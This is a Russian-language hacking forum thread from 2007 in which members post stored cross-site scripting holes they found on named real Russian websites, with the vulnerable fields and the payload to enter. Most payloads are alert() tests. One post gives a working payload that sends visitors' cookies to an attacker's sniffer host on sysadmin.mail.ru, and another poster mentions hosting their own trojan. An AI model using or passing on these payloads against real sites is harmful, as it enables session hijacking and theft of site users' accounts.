Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
18.03.2007, 15:08
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379
Репутация:
3812
|
|
Активные Xss
Тут постим тока активные XSS.
Так же сайт на котором вы нашли xss должен быть более или менее популярным:
1. Он не должен быть расположен на бесплатном хостинге.
2. Так же тиц и pr сайтов должны быть соотвественно не ниже 100 и 3. Сайтов удовлетворяющих этому требованию хоть отбавляй, а вот постить и искать xss на совсем не известных не интресно и не имеет смысла вообще.
Желательно (но не обязательно), что бы сайты были на it тематику, или к примеру более менее известные треккеры, порталы.
__________________
Последний раз редактировалось Grey; 13.07.2008 в 00:02..
|
|
|
19.03.2007, 01:26
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
Сайт с хак-софтом, там и мой трой лежит))
samouchka.net - когда коммент добавляешь впиши.
<img src=http://samouchka.net/engine/data/emoticons/sad.gif onload=XSS]
Последний раз редактировалось o3,14um; 19.03.2007 в 01:29..
|
|
|
|
19.03.2007, 13:16
|
|
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
Провел на форуме:
2943499
Репутация:
807
|
|
www.jjurnal.ru
Довольно популярный жж.
Постим сообщение от анонимного пользователя.
Уязвимо поле "Имя:"
"><script>alert()</script>
Работает в опере и ие.
Последний раз редактировалось freddi; 19.03.2007 в 18:59..
|
|
|
|
19.03.2007, 14:25
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
email.ru
может и было..ибо XSS самая тупая))
..
отправляем письмо ..естестн в html....
Код:
<script>alert()</script>
или
Код:
<img src=javascript:alert()>
|
|
|
|
19.03.2007, 20:11
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028
Репутация:
2371
|
|
serials.softkiller.net
В теме любого кряка пишем камент с хсс
Код:
"><script>alert('xss')</script>
|
|
|
|
19.03.2007, 21:29
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597
Репутация:
1866
|
|
proplay.ru
proplay.ru
Идём в раздел "Команды":
--http://www.proplay.ru/team/
Там создаём новую команду.
Уязвимыми являются поля:
-Игры
-IRC канал
-Домашняя страница
Test:
--http://www.proplay.ru/team/744/
|
|
|
|
20.03.2007, 23:56
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
sysadmin.mail.ru
Заходи на sysadmin.mail.ru.....
Сморим *Сервисы Сисадмина* там лезим в *Моя регистрационная анкета*
в поле Крупный город: Выбираем любой город))
далее в поле Свой город/район: строчим
Код:
"><script>img = new Image(); img.src = "http://сайт.ru/сниффер.gif?"+document.cookie;</script>
и жмём Сохранить изменения...
после переходим в Whois ..находим наш город...если в списке ников есть наш ник.....значит куки уже на снифе))ибо ненадо даже давать ссылку на свой профиль...просто на город где ваш логин)) 
|
|
|
|
26.03.2007, 11:49
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028
Репутация:
2371
|
|
www.qiq.ru
После регистрации, в профиле изменяем уязвимые поля, а именно:
1)Место жительства
2)О себе
А этих местах пишем
Код:
"><script>alert(/xss/)</script>
Пример
|
|
|
|
28.03.2007, 09:52
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028
Репутация:
2371
|
|
ДОМ 3 ХЭК =))))))
dom3mir.ru
Регистрируемся с любыми данными......
Далее идем изменять свою анкету...
В уязвимые поля: Район, Метро,Город пишем такой код..ну там уж как придумаете
Код:
Москва" onmouseover="alert('xss')"
Далее идете в поиск...ищите себя понику и вот xss =)
|
|
|
|
29.03.2007, 22:21
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346
Репутация:
1719
|
|
http://www.ohizba.ru/index.php?type=page&id=13
уязвимы все поля в гостевой книге
фуфло, но баг..
//updat3:
Код:
http://www.autolider.info/news/main.php?id=108&cpage=1
уязвимость в поле "name" в комментах 
извините, редактирование не пашет.. если я что-то нарушил, соедините плз посты
запахало)
Последний раз редактировалось n1†R0x; 31.03.2007 в 00:08..
|
|
|
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Xss
|
bx_N |
Forum for discussion of ANTICHAT |
7 |
11.03.2007 19:17 |
|
mylivepage.ru активные XSS
|
__XT__ |
Уязвимости |
3 |
23.12.2006 14:31 |
|
Xss для новичков
|
Micr0b |
Уязвимости |
0 |
04.06.2006 18:25 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
